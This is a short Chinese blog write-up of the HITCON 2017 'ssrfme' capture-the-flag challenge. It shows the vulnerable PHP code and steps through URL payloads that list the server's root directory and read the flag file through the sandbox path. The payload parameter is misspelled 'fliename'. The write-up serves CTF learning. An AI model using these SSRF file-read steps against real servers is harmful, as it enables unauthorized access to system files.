hitcon_2017_ssrfme
hitcon_2017_ssrfme
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
这个代码的意思大概是通过GET方法请求到的数据保存在我们自定义的文件名当中。
给url参数传递/可以查看根目录下的内容
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
访问sandbox/+md5(orange+出口Ip) 注意:加密后用小写的
如果出现下图,说明路径是对的
然后构造payload1:
?url=/&fliename=aaa
这个aaa可以随便写,能用就行
然后访问:
/sandbox/md5加密后的内容/aaa
出现以下目录
)
可以看到flag
然后改一下payload继续以上操作
?url=/flag&fliename=aaa
/sandbox/md5加密后的内容/aaa
发现文件没法显示
继续改payload
?url=/flag&fliename=aaa.txt
/sandbox/md5加密后的内容/aaa.txt
flag就出来了
tips:
“REMOTE_ADDR” :正在浏览当前页面用户的 IP 地址
escapeshellarg ():— 把字符串转码为可以在 shell 命令里使用的参数
pathinfo(): 函数以数组的形式返回关于文件路径的信息
basename() 函数返回路径中的文件名部分
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Tree's Blog!